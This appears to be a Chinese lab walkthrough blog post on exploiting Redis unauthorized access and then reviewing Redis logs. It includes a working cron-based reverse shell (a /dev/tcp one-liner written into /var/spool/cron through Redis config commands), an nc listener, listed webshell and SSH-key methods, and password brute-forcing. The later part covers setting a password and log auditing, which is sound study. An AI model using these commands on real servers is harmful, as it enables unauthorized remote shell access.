redis未授权访问漏洞利用+redis日志分析

redis未授权访问漏洞利用+redis日志分析

redis未授权访问

远程连接redis

kali: redis-cli -h IP

redis常用语句

set key “value” 设置键值对

get key 获得值

incr intkey 数字类型值加1

keys * 获取当前数据库中所有的键

config set dir /home/test 设置工作目录

config set dbfilename redis.rdb 设置备份文件名

config get dir 查看工作目录

config get dbfilemane 查看备份文件名

save 进行一次操作的备份

flushall 删除所有数据

del key 删除键为key的数据

redis未授权访问利用方法

  1. 设置目录》写入一句话木马》保存到备份文件(写在网站目录下)
  2. 或者搞个定时任务反弹shell
  3. 或者直接写公钥(ssh直接冲!)
  4. 最后redis4.x之后可以通过c语言编译并加载恶意的.so文件(主从复制)

第一种利用方法

需要服务器开启web服务,使用redis数据备份功能结合web服务向网站根目录写入一句话木马从而得到网站的webshell

需要写入权限

第二种利用方法

通过redis数据备份写定时任务,通过定时任务反弹shell

需要root权限

第三种利用方法

通过redis数据备份功能写SSH公钥,实现免密登录linux服务器

需要root权限

安装redis客户端

下载: wget http://download.redis.io/releases/redis-2.8.17.tar.gz

解压: tar xzvf redis-2.8.17.tar.gz

进入目录: cd redis-2.8.17.tar.gz

编译: mack

进入src目录: cd src

将redis-cli复制到/usr/bin目录下:cp redis-cli /usr/bin/

将redis-server复制到/usr/bin目录下:cp redis-server /usr/bin/

开启redis服务

回到/redis-2.8.17.tar.gz目录下

redis-server redis.conf

redis未授权访问漏洞利用+redis日志分析_第1张图片

攻击机kali安装redis

和centos一样

反弹shell

这里试着写个定时任务反弹shell

测试连接

靶机ip:192.168.27.192

攻击机ip:192.168.27.129

redis-cli -h 192.168.27.192

redis未授权访问漏洞利用+redis日志分析_第2张图片

连接成功

写一个反弹shell

sh -i >& /dev/tcp/192.168.27.128/8023 0>&1

改成定时任务的格式

*/1 * * * * sh -i >& /dev/tcp/192.168.27.129/8023 0>&1

写入定时任务

先监听一下8023端口

nc -lvvp 8023

写入定时任务

set x “\n\n*/1 * * * * sh -i >& /dev/tcp/192.168.27.129/8023 0>&1 \n\n”

config set dbfilename root

config set dir /var/spool/cron

save

redis未授权访问漏洞利用+redis日志分析_第3张图片

等待漫长的一分钟

redis未授权访问漏洞利用+redis日志分析_第4张图片

拿到shell

日志审计

爆破redis密码

使用工具超级弱口令检查工具

redis未授权访问漏洞利用+redis日志分析_第5张图片

因为没有密码,所以任意密码可登陆,跑出来个qwerty

接下来给redis加上密码,admin123

关闭redis服务,gedit redis.conf 找到requirepass,把注释符去掉,密码改为admin123 保存退出

再次开启redis服务

redis未授权访问漏洞利用+redis日志分析_第6张图片

使用kali再连接一下试试

redis未授权访问漏洞利用+redis日志分析_第7张图片

需要密码了!

接着爆破

redis未授权访问漏洞利用+redis日志分析_第8张图片

搞出来啦!

用kali尝试一下

redis未授权访问漏洞利用+redis日志分析_第9张图片

成功

日志

redis未授权访问漏洞利用+redis日志分析_第10张图片

这里将日志保存到文件/tmp/log/redis.log,将notice换为debug模式

再tmp目录下mkdir log

然后再启动redis服务

下面继续爆破,然后查看日志

redis未授权访问漏洞利用+redis日志分析_第11张图片

可以看到大量的请求,但是看不出来是攻击,ip为192.168.27.191(windows)

redis未授权访问漏洞利用+redis日志分析_第12张图片

用kali去连接,然后随意操作一下

redis未授权访问漏洞利用+redis日志分析_第13张图片

看不到操作的内容

升级高版本redis!

wget https://github.com/redis/redis/archive/refs/tags/7.2-rc2.zip

后续操作同前面

将redis-server 移动到/usr/bin/

cp redis-server /usr/bin/redis-server2

使用redis-server2启动redis服务

redis未授权访问漏洞利用+redis日志分析_第14张图片

可以启动,然后修改一下redis.conf

redis未授权访问漏洞利用+redis日志分析_第15张图片

redis未授权访问漏洞利用+redis日志分析_第16张图片

将只允许本地连接注释掉,保护模式关掉,然后保存一下,再启动redis服务,再使用kali连接一下

redis未授权访问漏洞利用+redis日志分析_第17张图片

再向上面一样配置一下日志和密码,然后用kali登陆成功一下,失败一下看看日志

成功的日志如下

redis未授权访问漏洞利用+redis日志分析_第18张图片

登陆失败日志

redis未授权访问漏洞利用+redis日志分析_第19张图片

你可能感兴趣的:(Vulnhub,渗透测试,redis,数据库,网络安全)